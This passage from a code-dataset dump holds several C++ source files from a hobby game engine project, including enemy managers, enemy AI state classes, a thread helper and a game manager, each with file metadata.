"text": "#pragma once\n#include \"../Enemy/IEnemy.h\"\nclass Player;\nclass EnemyBulletManager;\n\nclass EnemyManager\n{\npublic:\n\tstatic EnemyManager& GetEnemyManager(){\n\t\tstatic EnemyManager enemyManager;\n\t\treturn enemyManager;\n\t}\n\n\tvoid SpawnEnemies();\n\n\tvoid ApplyAoeDamage(const Vector3& attackOriginPos, float range, float damageAmount);\n\n\tconst std::vector<IEnemy*> GetEnemies() const{\n\t\treturn m_enemies;\n\t}\n\n\tvoid DestroyEnemy(IEnemy* enemy) {\n\n\t\tif (enemy == m_targetEnemy)\n\t\t\tm_targetEnemy = nullptr;\n\n\t\tm_enemies.erase(std::remove(m_enemies.begin(), m_enemies.end(), enemy), m_enemies.end());\n\t\tauto enemyObject = reinterpret_cast<GameObject*>(enemy);\n\t\tDeleteGO(enemyObject);\n\t}\n\n\tvoid Release();\n\n\tIEnemy* GetNearestBossEnemy(const Vector3& pos) const {\n\t\tif (m_enemies.size() == 0) return nullptr;\n\n\t\tint nearestIndex = 0;\n\t\tfloat minLen = FLT_MAX;\n\n\t\tfor (int i = 0; i < m_enemies.size(); i++) {\n\n\t\t\tif (m_enemies.at(i)->GetCurrentState() == m_enemies.at(i)->GetState(TO_INT(IEnemy::EnState::enDeadState))) {\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\tif (!m_enemies.at(i)->IsBoss()) {\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\tfloat len = (m_enemies.at(i)->GetPosition() - pos).Length();\n\t\t\tif (len < minLen) {\n\t\t\t\tnearestIndex = i;\n\t\t\t\tminLen = len;\n\t\t\t}\n\t\t}\n\n\t\tif (m_enemies.at(nearestIndex)->GetCurrentState() == m_enemies.at(nearestIndex)->GetState(TO_INT(IEnemy::EnState::enDeadState)))\n\t\t\treturn nullptr;\n\n\t\treturn m_enemies.at(nearestIndex);\n\t}\n\n\tIEnemy* GetNearestEnemy(const Vector3 pos) const {\n\t\tif (m_enemies.size() == 0) return nullptr;\n\n\t\tint nearestIndex = 0;\n\t\tfloat minLen = FLT_MAX;\n\n\t\tfor (int i = 0; i < m_enemies.size(); i++) {\n\n\t\t\tif (m_enemies.at(i)->GetCurrentState() == m_enemies.at(i)->GetState(TO_INT(IEnemy::EnState::enDeadState))) {\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\tfloat len = (m_enemies.at(i)->GetPosition() - pos).Length();\n\t\t\tif (len < minLen) {\n\t\t\t\tnearestIndex = i;\n\t\t\t\tminLen = len;\n\t\t\t}\n\t\t}\n\n\t\tif (m_enemies.at(nearestIndex)->GetCurrentState() == m_enemies.at(nearestIndex)->GetState(TO_INT(IEnemy::EnState::enDeadState)))\n\t\t\treturn nullptr;\n\t\t\t\n\t\treturn m_enemies.at(nearestIndex);\n\t}\n\n\tIEnemy* GetTargettingEnemy() const{\n\t\treturn m_targetEnemy;\n\t}\n\n\tvoid SetTargetEnemy(IEnemy* targetEnemy) {\n\t\tm_targetEnemy = targetEnemy;\n\t}\n\n\tvoid AddEnemy(IEnemy* e)\n\t{\n\t\tm_enemies.push_back(e);\n\t}\n\n\tvoid AddCorpseCount(const int val = 1) {\n\t\tassert(val > 0);\n\t\tm_numCorpse += val;\n\t}\n\n\tconst int GetCorpseCount() {\n\t\treturn m_numCorpse;\n\t}\n\n\t void SetMeleeBoss(IEnemy* instance) {\n\t\t m_meleeBoss = instance;\n\t}\n\tIEnemy* GetMeleeBoss() {\n\t\treturn m_meleeBoss;\n\t}\n\n\tvoid SetBombBoss(IEnemy* instance) {\n\t\tm_bombBoss = instance;\n\t}\n\tIEnemy* GetBombBoss() {\n\t\treturn m_bombBoss;\n\t}\n\n\tvoid SetFatBoss(IEnemy* instance) {\n\t\tm_fatBoss = instance;\n\t}\n\tIEnemy* GetFatBoss() {\n\t\treturn m_fatBoss;\n\t}\nprivate:\n\n\tstatic const int m_numNormalEnemy = 2;\n\n\t//SoA \n\t/*\n\tstruct StEnemyTable {\n\t\tVector3 pos[m_numNormalEnemy];\n\t\tfloat health[m_numNormalEnemy];\n\t};\n\t*/\n\n\tconst float m_normalEnemyHealth = 500.f;\n\tconst float m_minSpawnRange = -100.f;\n\tconst float m_maxSpawnRange = 100.f;\n\tconst float m_defaultHeight = 130.f;\n\tstd::vector<IEnemy*> m_enemies;\n\tIEnemy* m_targetEnemy = nullptr;\n\n\tIEnemy* m_meleeBoss = nullptr;\n\tIEnemy* m_bombBoss = nullptr;\n\tIEnemy* m_fatBoss = nullptr;\n\n\tconst float BOSS_A_HP = 1500.f;\n\tconst float BOSS_A_STAMINA = 100.f;\n\n\tint m_numCorpse = 0;\n\n\t//EnemyBulletManager* m_enemyBulletManager = 0;\n};\n\n"
},
{
"alpha_fraction": 0.6445623636245728,
"alphanum_fraction": 0.6531830430030823,
"avg_line_length": 20.390071868896484,
"blob_id": "c71ca8e7768e5b9f9a211f12d079a0e2fa6e63ed",
"content_id": "3d18939666baedd25685d3802cc6df5360eaf8fc",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 3016,
"license_type": "no_license",
"max_line_length": 86,
"num_lines": 141,
"path": "/Game/Enemy/State/EnemyLongDistanceTargetingState.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"stdafx.h\"\n#include \"EnemyLongDistanceTargetingState.h\"\n#include \"Enemy/IEnemy.h\"\n#include \"Enemy/EnemyManager.h\"\n#include \"Enemy/Zako/Zako_LongDistanceMachine.h\"\n#include \"EnemyLongDistanceAttackState.h\"\n#include \"Player/Player.h\"\n#include \"GameManager.h\"\n\nEnemyLongDistanceTargetingState::EnemyLongDistanceTargetingState()\n{\n}\n\nEnemyLongDistanceTargetingState::~EnemyLongDistanceTargetingState()\n{\n}\nvoid EnemyLongDistanceTargetingState::Init(IK* ik, Quaternion& rot, float bulletSpeed)\n{\n\tm_ik = ik;\n\tm_rot = &rot;\n\n\t//m_lda.SetIK(ik);\n\tm_speed = bulletSpeed;\n\tm_lda.Init(ik, bulletSpeed,this);\n}\n\nvoid EnemyLongDistanceTargetingState::Enter(IEnemy* e)\n{\n\tm_timer = m_timeLimit;\n\te->PlayAnimation(TO_INT(IEnemy::EnAnimation::enWalk));\n\tauto model = e->GetModel();\n\t((ModelRender*)model)->SetAnimPlaySpeed(3.f);\n}\n\nIEnemyState* EnemyLongDistanceTargetingState::Update(IEnemy* e)\n{\n\t\n\tconst float dtime = gameTime()->GetDeltaTime();\n\n\tauto player = GameManager::GetInstance().m_player;\n\n\tauto pvel = player->GetVelocity();\n\tfloat pvelLen = pvel.Length();\n\tpvel.Normalize();\n\n\tauto epos = e->GetPosition();\n\tepos.y += 5.f;\n\tconst auto& ppos = player->GetPosition();\n\tauto e2p = (ppos - epos);\n\tfloat e2pLen = e2p.Length();\n\te2p.Normalize();\n\n\tif (m_overLookRange < e2pLen)\n\t{\n\t\treturn e->GetState(TO_INT(IEnemy::EnState::enIdleState));\n\t}\n\n\tfloat bSpeed = m_speed * dtime;\n\n\n\tVector3 tpos;\n\tfloat fn = 3;\n\tif (pvelLen > FLT_EPSILON)\n\t{\n\t\tpvelLen *= dtime;\n\t\tfloat cta = Dot(e2p, pvel);\n\t\tif (cta < 0)\n\t\t{\n\t\t\tfn = floorf(e2pLen / bSpeed);\n\t\t}\n\t\telse\n\t\t{\n\n\t\t\t//fn = floorf()\n\t\t}\n\t\twhile (1)\n\t\t{\n\t\t\tauto target = (ppos + pvel * (pvelLen * fn));\n\t\t\tauto t = epos - target;\n\t\t\t//auto v = t;\n\t\t\t//v.Normalize();\n\t\t\tif ((bSpeed * (fn - 3.f)) >= t.Length())\n\t\t\t//if (bSpeed * dtime >= (epos + (v * bSpeed * (fn) * dtime) - target).Length())\n\t\t\t{\n\t\t\t\t/*DebugPrintValue(EDebugConsoloUser::NOMOTO, \"e2pLen\", e2pLen);\n\t\t\t\tDebugPrintValue(EDebugConsoloUser::NOMOTO, \"pvelLen\", pvelLen);\n\t\t\t\tDebugPrintValue(EDebugConsoloUser::NOMOTO, \"fn\", fn);\n\t\t\t\tauto c = Math::RadToDeg(acos(e2p.Dot(pvel)));\n\t\t\t\tDebugPrintValue(EDebugConsoloUser::NOMOTO, \"deg\", c);*/\n\t\t\t\tCSoundSource* se = NewGO<CSoundSource>(0, \"Punch\");\n\t\t\t\tse->Init(L\"Assets/sound/LongEnemy_Target.wav\");\n\t\t\t\tse->Play(false);\n\t\t\t\tse->SetVolume(0.1f);\n\t\t\t\ttpos = std::move(target);\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tfn += 1.f;\n\t\t\tif (fn > 20.f)\n\t\t\t\tbreak;\n\t\t}\n\t}\n\telse\n\t{\n\t\ttpos = ppos;\n\t}\n\n\t\n\n\tfloat y = tpos.y - epos.y;\n\tif (y < 0)\n\t{\n\t\t//tpos.y = epos.y;\n\t}\n\tBone* ebone = m_ik->GetEffectorBone();\n\tebone->GetWorldMatrix().GetTransrate();\n\n\t//Quaternion rot;\n\t//rot.SetRotation(epos, ppos);\n\tm_ik->SetNextTarget(tpos);\n\n\t//auto e2t = tpos - epos;\n\tfloat t = atan2f(tpos.x - epos.x, tpos.z - epos.z);\n\tQuaternion rot;\n\tm_rot->SetRotationY(t);\n\n\tm_timer += dtime;\n\tif (m_timer >= m_timeLimit)\n\t{\n\t\t//auto v = tpos - epos;\n\t\t//v.Normalize();\n\t\t\n\t\tm_lda.SetTarget(std::move(tpos));\n\t\treturn &m_lda;\n\t}\n\t\n\treturn this;\n}\n\nvoid EnemyLongDistanceTargetingState::Exit(IEnemy* e)\n{\n}\n"
},
{
"alpha_fraction": 0.686274528503418,
"alphanum_fraction": 0.7058823704719543,
"avg_line_length": 19.399999618530273,
"blob_id": "6d91b65d71600b0bc2bc508949800c921249f10e",
"content_id": "4757e86b50cd173b791a7ce29c1fb423deedac00",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 654,
"license_type": "no_license",
"max_line_length": 51,
"num_lines": 30,
"path": "/Game/Enemy/State/ShortBigState/EnemyShortBigBlown.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "#pragma once\n#include \"Enemy/State/IEnemyState.h\"\n\nclass EnemyShortBigBlown final : public IEnemyState\n{\npublic:\n\tEnemyShortBigBlown();\n\t~EnemyShortBigBlown();\n\tvoid Enter(IEnemy* e) override;\n\tIEnemyState* Update(IEnemy* e) override;\n\tvoid Exit(IEnemy* e) override;\n\tvoid OnAttacked(IEnemy* e);\nprivate:\n\tIK* m_ikList[6] = { nullptr };\n\n\tVector3 m_velocityXZ = Vector3::Zero;\n\tfloat m_velocityY = 0.f;\n\tbool m_isNoBlown = false;\n\n\tfloat m_grav = 150.f;\n\n\tfloat m_timer = 0.;\n\tfloat m_timeLimit = 10.f;\n\n\t//デカい敵なので、吹き飛ばし量に補正をかける\n\tfloat m_bigPush = 0.5f;\n\n\tbool m_isTakeOff = false;\n\tbool m_isTakeOn = false;\n};\n"
},
{
"alpha_fraction": 0.6113074421882629,
"alphanum_fraction": 0.6113074421882629,
"avg_line_length": 16.346939086914062,
"blob_id": "12fd13bb4de21db580674fcf9faad5617f5065f4",
"content_id": "cb53ae570f3106d714bebdee66cb9b3aee154983",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 1229,
"license_type": "no_license",
"max_line_length": 52,
"num_lines": 49,
"path": "/UsualEngineR/Thread/ThreadObject.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "#pragma once\n\n\n\nnamespace UER\n{\n\t/// <summary>\n\t/// お手軽なthreadを提供致します。\n\t/// 面倒な開放とかその他いろいろをしなくて済みます!\n\t/// 基本的にメンバ変数にこいつを追加してExcute関数を呼ぶだけでOK\n\t/// \n\t/// 米米米 このクラスは使いまわしできません!! ただしRelease関数を呼ぶと使いまわせます。\n\t/// </summary>\n\tclass ThreadObject\n\t{\n\tpublic:\n\t\tThreadObject();\n\t\t~ThreadObject();\n\n\t\t/// <summary>\n\t\t/// 開放。\n\t\t/// 使いまわしたい場合も呼びましょう。\n\t\t/// インスタンスが破棄されるときにエラーが起こる場合も明示的に読んであげましょう\n\t\t/// </summary>\n\t\tvoid Release();\n\n\t\t/// <summary>\n\t\t/// 実行。\n\t\t/// </summary>\n\t\t/// <param name=\"func\">実行する関数/param>\n\t\tvoid Execute(const std::function<void()>& func);\n\n\t\t/// <summary>\n\t\t/// 終わった?\n\t\t/// </summary>\n\t\t/// <returns></returns>\n\t\tbool IsEnd() const\n\t\t{\n\t\t\treturn m_isEnd;\n\t\t}\n\tprivate:\n\t\tstd::thread* m_thread = nullptr;\t//スレッド\n\t\tstd::function<void()> m_func;\t\t//スレッドで使う関数。\n\n\t\tbool m_isEnd = false;\t\t\t\t//終わった?\n\n\t\tbool m_isExecuted = false;\t\t\t//実行した?\n\t};\n}"
},
{
"alpha_fraction": 0.7107561230659485,
"alphanum_fraction": 0.7150159478187561,
"avg_line_length": 29.29032325744629,
"blob_id": "064e263d3d0696bb493406b03a2fce28017a322d",
"content_id": "f96e7f4ab7a35d76ce47a0ad69a1de81ddba0a3f",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 4773,
"license_type": "no_license",
"max_line_length": 131,
"num_lines": 155,
"path": "/Game/Enemy/Zako/Zako_ShortBig.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "#include \"stdafx.h\"\n#include \"Zako_ShortBig.h\"\n#include \"Enemy/State/IEnemyState.h\"\n#include \"Enemy/State/ShortBigState/EnemyShortBigIdle.h\"\n#include \"Enemy/State/ShortBigState/EnemyShortBigStun.h\"\n#include \"Enemy/State/EnemyDeadState.h\"\n#include \"Enemy/State/ShortBigState/EnemyShortBigBlown.h\"\n#include \"Enemy/State/ShortBigState/EnemyShortBigComing.h\"\n#include \"Enemy/State/ShortBigState/EnemyShortBigDance.h\"\n#include \"Enemy/State/ShortBigState/EnemyShortBigPunch.h\"\n#include \"Enemy/State/ShortBigState/EnemyShortBigStrongPunch.h\"\n\nZako_ShortBig::Zako_ShortBig()\n{\n\n}\n\nZako_ShortBig::~Zako_ShortBig()\n{\n\n}\n\nvoid Zako_ShortBig::Init()\n{\n\t//Model\n\tModelInitData mid;\n\tmid.m_tkmFilePath = \"Assets/modelData/enemy/ShortRangeMonster/srm.tkm\";\n\tmid.m_tksFilePath = \"Assets/modelData/enemy/ShortRangeMonster/srm.tks\";\n\tmid.m_vsfxFilePath = \"Assets/shader/AnimModel.fx\";\n\tmid.m_vsEntryPointFunc = \"VSMain\";\n\tmid.m_psEntryPointFunc = \"PSMain\";\n\tmid.m_upAxis = enUpAxisY;\n\n\tm_model = NewGO<ModelRender>(0);\n\tm_model->Init(mid);\n\tm_model->SetScale(Vector3::One * m_scale);\n\n\tInitAnimation();\n\n\t//State\n\tSetState(m_stateMap[static_cast<int>(IEnemy::EnState::enIdleState)]);\n\n\t//Physics\n\tInitCharacon(m_radius, m_height, m_position, true);\n}\n\nvoid Zako_ShortBig::InitAnimation()\n{\n\t//ひとまず、近距離雑魚のアニメーションを流用\n\t//Idle\n\tSetAnimation(TO_INT(IEnemy::EnAnimation::enIdle), \"Assets/modelData/enemy/ShortRangeMonster/anim/srm_idle.tka\", true);\n\t//Walk\n\tSetAnimation(TO_INT(IEnemy::EnAnimation::enWalk), \"Assets/modelData/enemy/ShortRangeMonster/anim/srm_walk.tka\", true);\n\t//run\n\tSetAnimation(TO_INT(IEnemy::EnAnimation::enRun), \"Assets/modelData/enemy/ShortRangeMonster/anim/srm_run.tka\", true);\n\t//Punch\n\tSetAnimation(TO_INT(IEnemy::EnAnimation::enAttackA), \"Assets/modelData/enemy/ShortRangeMonster/anim/srm_punch.tka\", false);\n\t//StrongPunch\n\tSetAnimation(TO_INT(IEnemy::EnAnimation::enAttackB), \"Assets/modelData/enemy/ShortRangeMonster/anim/srm_strong_punch.tka\", false);\n\t//Dance\n\tSetAnimation(TO_INT(EnAnimEX::enDance), \"Assets/modelData/enemy/ShortRangeMonster/anim/srm_dance.tka\", false);\n\t//Down\n\tSetAnimation(TO_INT(EnAnimEX::enDown), \"Assets/modelData/enemy/ShortRangeMonster/anim/srm_down.tka\", false);\n\n\tm_model->InitAnimation(m_animationMap, m_animationMap.size());\n}\nvoid Zako_ShortBig::InitState()\n{\n\t{\n\t\tauto p = std::make_pair(TO_INT(IEnemy::EnState::enIdleState), new EnemyShortBigIdle());\n\t\tm_stateMap.insert(p);\n\t}\n\t{\n\t\tauto p = std::make_pair(TO_INT(IEnemy::EnState::enDeadState), new EnemyShortBigBlown());\n\t\tm_stateMap.insert(p);\n\t}\n\t{\n\t\tauto p = std::make_pair(TO_INT(EnStateEX::enComing), new EnemyShortBigComing());\n\t\tm_stateMap.insert(p);\n\t}\n\t{\n\t\tauto p = std::make_pair(TO_INT(IEnemy::EnState::enAttackA), new EnemyShortBigPunch());\n\t\tm_stateMap.insert(p);\n\t}\n\t{\n\t\tauto p = std::make_pair(TO_INT(IEnemy::EnState::enAttackB), new EnemyShortBigStrongPunch());\n\t\tm_stateMap.insert(p);\n\t}\n\t{\n\t\tauto p = std::make_pair(TO_INT(EnStateEX::enDance), new EnemyShortBigDance());\n\t\tm_stateMap.insert(p);\n\t}\n\t{\n\t\tauto p = std::make_pair(TO_INT(IEnemy::EnState::enStunState), new EnemyShortBigStun());\n\t\tm_stateMap.insert(p);\n\t}\n\t//m_stateMap.insert(std::make_pair(TO_INT(EnState::enIdleState), new EnemyShortBigIdle()));\n\t//m_stateMap.insert(std::make_pair(TO_INT(EnState::enDeadState), new EnemyDeadState()));\n}\nvoid Zako_ShortBig::InitIK()\n{\n\tfloat radius = 0.5f;\n\tauto ske = m_model->GetModel().GetSkelton();\n\t{\n\t\tIK* headik = m_model->CreateIK(ske->GetBone(ske->FindBoneID(L\"Head_IK\")), 1, radius);\n\t\theadik->SetIKMode(IK::enMode_NoneHit);\n\n\t\tSetIK(TO_INT(EnIK::enHead), headik);\n\t}\n\t{\n\t\tIK* ik = m_model->CreateIK(ske->GetBone(ske->FindBoneID(L\"Bone.002\")), 2, radius);\n\t\tik->SetIKMode(IK::enMode_NoneHit);\n\n\t\tSetIK(TO_INT(EnIK::enChest), ik);\n\t}\n\t{\n\t\tIK* ik = m_model->CreateIK(ske->GetBone(ske->FindBoneID(L\"Arm_L_IK\")), 2, radius);\n\t\tik->SetIKMode(IK::enMode_NoneHit);\n\n\t\tSetIK(TO_INT(EnIK::enArm_L), ik);\n\t}\n\t{\n\t\tIK* ik = m_model->CreateIK(ske->GetBone(ske->FindBoneID(L\"Arm_R_IK\")), 2, radius);\n\t\tik->SetIKMode(IK::enMode_NoneHit);\n\n\t\tSetIK(TO_INT(EnIK::enArm_R), ik);\n\t}\n\t{\n\t\tIK* ik = m_model->CreateIK(ske->GetBone(ske->FindBoneID(L\"Bone_L.003\")), 2, radius);\n\t\tik->SetIKMode(IK::enMode_NoneHit);\n\n\t\tSetIK(TO_INT(EnIK::enFoot_L), ik);\n\t}\n\t{\n\t\tIK* ik = m_model->CreateIK(ske->GetBone(ske->FindBoneID(L\"Bone_R.003\")), 2, radius);\n\t\tik->SetIKMode(IK::enMode_NoneHit);\n\n\t\tSetIK(TO_INT(EnIK::enFoot_R), ik);\n\t}\n}\n\nvoid Zako_ShortBig::Execute()\n{\n\tm_model->SetPosition(m_position);\n\tm_model->SetRotation(m_rotation);\n\t//体力がなくなったら死亡ステートへ遷移\n\tif (m_ability.hp <= 0) {\n\t\tSetState(m_stateMap[TO_INT(IEnemy::EnState::enDeadState)]);\n\t}\n}\n\nvoid Zako_ShortBig::Terminate()\n{\n\tDeleteGO(m_model);\n}\n"
},
{
"alpha_fraction": 0.6670776605606079,
"alphanum_fraction": 0.6738594174385071,
"avg_line_length": 19.54430389404297,
"blob_id": "bfeff661318a34551b8e79599cc0523408adf341",
"content_id": "83bebbed5a9666abf3493192cec85ccb4985e75e",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 1622,
"license_type": "no_license",
"max_line_length": 41,
"num_lines": 79,
"path": "/Game/GameManager.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"stdafx.h\"\n#include \"GameManager.h\"\n#include \"Level/GameStage.h\"\n#include \"Player/Player.h\"\n#include \"Camera/GameCamera.h\"\n#include \"Enemy/EnemyManager.h\"\n#include \"Enemy/IEnemy.h\"\n#include \"GameHUD.h\"\n#include \"GameManager.h\"\n#include \"Item/ItemManager.h\"\n#include \"GameSceneMenu.h\"\n#include \"Goal.h\"\n#include \"Church.h\"\n#include \"Fade.h\"\n#include \"Player/Pod/Pod.h\"\n#include \"Enemy/BossBGM.h\"\n\nvoid GameManager::InitGameWorld() {\n\n\t//m_player = NewGO<Player>(0, \"Player\");\n\tm_camera = NewGO<GameCamera>(0);\n\tm_stage = NewGO<GameStage>(0);\n\tm_gameHUD = NewGO<GameHUD>(1);\n\tm_itemManager = NewGO<ItemManager>(0);\n\tm_menu = NewGO<GameSceneMenu>(2);\n\tm_church = NewGO<Church>(0);\n\tm_bgm = NewGO<BossBGM>(0);\n\n\t//m_gameHUD->SetPlayer(m_player);\n\t//m_camera->SetPlayer(m_player);\n\t//m_player->SetGameCamera(m_camera);\n\tm_nvm.Init();\n}\n\nvoid GameManager::Release() {\n\t//DeleteGO(m_player);\n\t//m_player = nullptr;\n\tDeleteGO(m_camera);\n\tm_camera = nullptr;\n\tDeleteGO(m_stage);\n\tm_stage = nullptr;\n\tDeleteGO(m_gameHUD);\n\tm_gameHUD = nullptr;\n\tDeleteGO(m_itemManager);\n\tm_itemManager = nullptr;\n\tDeleteGO(m_menu);\n\tm_menu = nullptr;\n\tDeleteGO(m_goal);\n\tm_goal = nullptr;\n\tDeleteGO(m_church);\n\tm_church = nullptr;\n\tDeleteGO(m_pod);\n\tm_pod = nullptr;\n\tDeleteGO(m_bgm);\n\tm_bgm = nullptr;\n\n\tm_nvm.Release();\n}\n\nvoid GameManager::SpawnPlayer() {\n\tif (m_player == nullptr) {\n\t\tm_player = NewGO<Player>(0);\n\t}\n\telse {\n\t\tm_player->Respawn();\n\t\tm_player->LockAllDropPreset();\n\t}\n\t\n}\n\nvoid GameManager::SpawnPod() {\n\tif (m_pod == nullptr) {\n\t\tm_pod = NewGO<Pod>(0);\n\t}\n}\n\nvoid GameManager::AppearGoal() {\n\tm_goal = NewGO<Goal>(0);\n}"
},
{
"alpha_fraction": 0.6379358172416687,
"alphanum_fraction": 0.6552301049232483,
"avg_line_length": 22.279220581054688,
"blob_id": "40adfb22276f577863e3a3618f667a45f9e8f9fe",
"content_id": "b760bbef7f365e5e2d9f2906e1e98c7ef7acff2b",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 3885,
"license_type": "no_license",
"max_line_length": 96,
"num_lines": 154,
"path": "/Game/Enemy/State/BossFatmanState/Boss_FatmanShootingState.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "#include \"stdafx.h\"\n#include \"Boss_FatmanShootingState.h\"\n#include \"Enemy/IEnemy.h\"\n#include \"Enemy/EnemyManager.h\"\n#include \"GameManager.h\"\n#include \"Enemy/Equipment/Enemy_Bullet.h\"\n#include \"Enemy/Boss/Boss_Fatman.h\"\n#include \"Effect/MuzzleFlash.h\"\n\nBoss_FatmanShootingState::Boss_FatmanShootingState()\n{\n\tMuzzleFlashEffectInitData mfid;\n\tfor (int i = 0; i < IKNum; i++) {\n\t\tauto muzzleFlash = NewGO<MuzzleFlash>(0);\n\t\tmuzzleFlash->Init(mfid);\n\t\tmuzzleFlash->SetSca(Vector3::One * 0.1);\n\t\tm_muzzleFlashes.push_back(muzzleFlash);\n\t}\n\tm_shootSE = NewGO<CSoundSource>(0);\n\tm_shootSE->Init(L\"Assets/sound/boss_fatman/Balkan2.wav\");\n}\n\nBoss_FatmanShootingState::~Boss_FatmanShootingState()\n{\n\t//生成した数だけ削除。\n\tfor (int i = 0; i < m_muzzleFlashes.size(); i++) {\n\t\tDeleteGO(m_muzzleFlashes.at(i));\n\t}\n\tDeleteGO(m_shootSE);\n}\n\nvoid Boss_FatmanShootingState::Enter(IEnemy* e)\n{\n\tconst float time = 20.f;\n\tm_damage = Boss_Fatman::CalcDamage(time);\n\n\tm_shotTimer = 0.f;\n\tm_stateTimer = 0.f;\n\n\t//IK情報。\n\tfor (int i = 0; i < IKNum; i++) {\n\t\tm_ik[i] = e->GetIK(TO_INT(IEnemy::EnIK::enFoot_L) + i);\n\t}\n}\n\nIEnemyState* Boss_FatmanShootingState::Update(IEnemy* e)\n{\n\te->GetModel()->SetRotation(Boss_Fatman::EnemyToPlayerRotation(e));\n\n\tconst float shotTime = 0.01f;\n\tm_shotTimer += gameTime()->GetDeltaTime();\n\tm_stateTimer += gameTime()->GetDeltaTime();\n\tconst float maxTime = 5.f;\n\tif (m_stateTimer > maxTime) {\n\t\tm_isKnockBack = false;\n\t\treturn e->GetState(TO_INT(IEnemy::EnState::enStunState));\n\t}\n\n\t//一定間隔で弾を撃つ。\n\tif (m_shotTimer > shotTime) {\n\t\tauto rand = GRandom().Rand();\n\t\trand *= 3.f;\n\t\tfor (int i = 0; i <= rand; i++){\n\t\t\tBulletGenerate(e);\n\t\t\tif (!m_shootSE->IsPlaying()) {\n\t\t\t\tm_shootSE->Play(true);\n\t\t\t}\n\t\t}\t\t\n\t\tm_shotTimer = 0.f;\n\t}\n\n\t//マズルフラッシュ。\n\tfor (int ikNo = 0; ikNo < IKNum; ikNo++) {\n\t\tm_muzzleFlashes[ikNo]->SetPos(m_ik[ikNo]->GetEffectorBone()->GetWorldMatrix().GetTransrate());\n\t\tm_muzzleFlashes[ikNo]->SetRot(m_ik[ikNo]->GetEffectorBone()->GetWorldMatrix().GetRotate());\n\t\tm_muzzleFlashes[ikNo]->Play();\n\t}\n\treturn this;\n}\n\nvoid Boss_FatmanShootingState::Exit(IEnemy* e)\n{\n\tm_shootSE->Stop();\n}\n\nvoid Boss_FatmanShootingState::BulletGenerate(IEnemy* e)\n{\n\tfor (int i = 0; i < IKNum; i++) {\n\t\t//撃ちだす方向を決める。\n\t\t//少し上に設定。\n\t\tconst float upY = 6.f;\n\t\tEnemy_Bullet* eb = NewGO<Enemy_Bullet>(0, true);\n\t\t/*auto epos = e->GetPosition();\n\t\tepos.y += upY;*/\n\t\tVector3 epos = m_ik[i]->GetEffectorBone()->GetWorldMatrix().GetTransrate();\n\n\t\tauto& p = GameManager::GetInstance().m_player;\n\t\tauto ppos = p->GetPosition();\n\t\tppos.y += 6.0f;\n\n\t\tfor (int i = 0; i < IKNum; i++) {\n\t\t\tm_ik[i]->SetNextTarget(ppos);\n\t\t}\n\n\t\tVector3 dir = ppos - epos;\n\t\tdir.Normalize();\n\n\t\t//撃ちだす弾の振れ幅を決める。(1つ目の回転)\n\t\tVector3 cross;\n\t\tcross.Cross(dir, Vector3::Up);\n\n\t\t//ランダムな角度。\n\t\tconst float maxAngle = 4.f;\n\t\tfloat angle = 0.f;\n\t\tauto rand = GRandom().Rand();\n\t\tangle = maxAngle * rand;\n\n\t\t//1つ目の回転を作成。\n\t\tQuaternion rot;\n\t\trot.SetRotationDeg(cross, angle);\n\n\t\t//主軸を回転させる。(2つ目の回転)\n\t\t//ランダムな角度。\n\t\tconst float maxAngle2 = 360.f;\n\t\tfloat angle2 = 0.f;\n\t\tauto rand2 = GRandom().Rand();\n\t\tangle2 = maxAngle2 * rand2;\n\n\t\t//2つ目の回転を作成。\n\t\tQuaternion rot2;\n\t\trot2.SetRotationDeg(dir, angle2);\n\n\t\t//回転を適用。\n\t\trot.Apply(dir);\n\t\trot2.Apply(dir);\n\n\t\t//弾の初期化。\n\t\teb->Init(epos, 0.6f, dir, 400.f, 5.f, 2.f);\n\n\t\t//攻撃。\n\t\t//プレイヤーが飛んでいたら撃ち落とす。\n\t\tVector3 knockVector = ppos - epos;\n\t\tknockVector.Normalize();\n\t\tconst float knockParam = 200.f;\n\t\tknockVector *= knockParam;\n\t\tif (!m_isKnockBack && !p->IsOnGround()) {\n\t\t\teb->SetDamage(m_damage, true, knockVector);\n\t\t\tm_isKnockBack = false;\n\t\t}\n\t\telse {\n\t\t\teb->SetDamage(m_damage);\n\t\t}\n\t}\n}\n"
},
{
"alpha_fraction": 0.6930755972862244,
"alphanum_fraction": 0.7033031582832336,
"avg_line_length": 30.82866096496582,
"blob_id": "390995bfea80f2fe137f1d46b5c96c70098eb248",
"content_id": "d3c746b650063ef8e5c346cf58e3715a48df2cb1",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 20703,
"license_type": "no_license",
"max_line_length": 135,
"num_lines": 642,
"path": "/Game/Player/Player.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
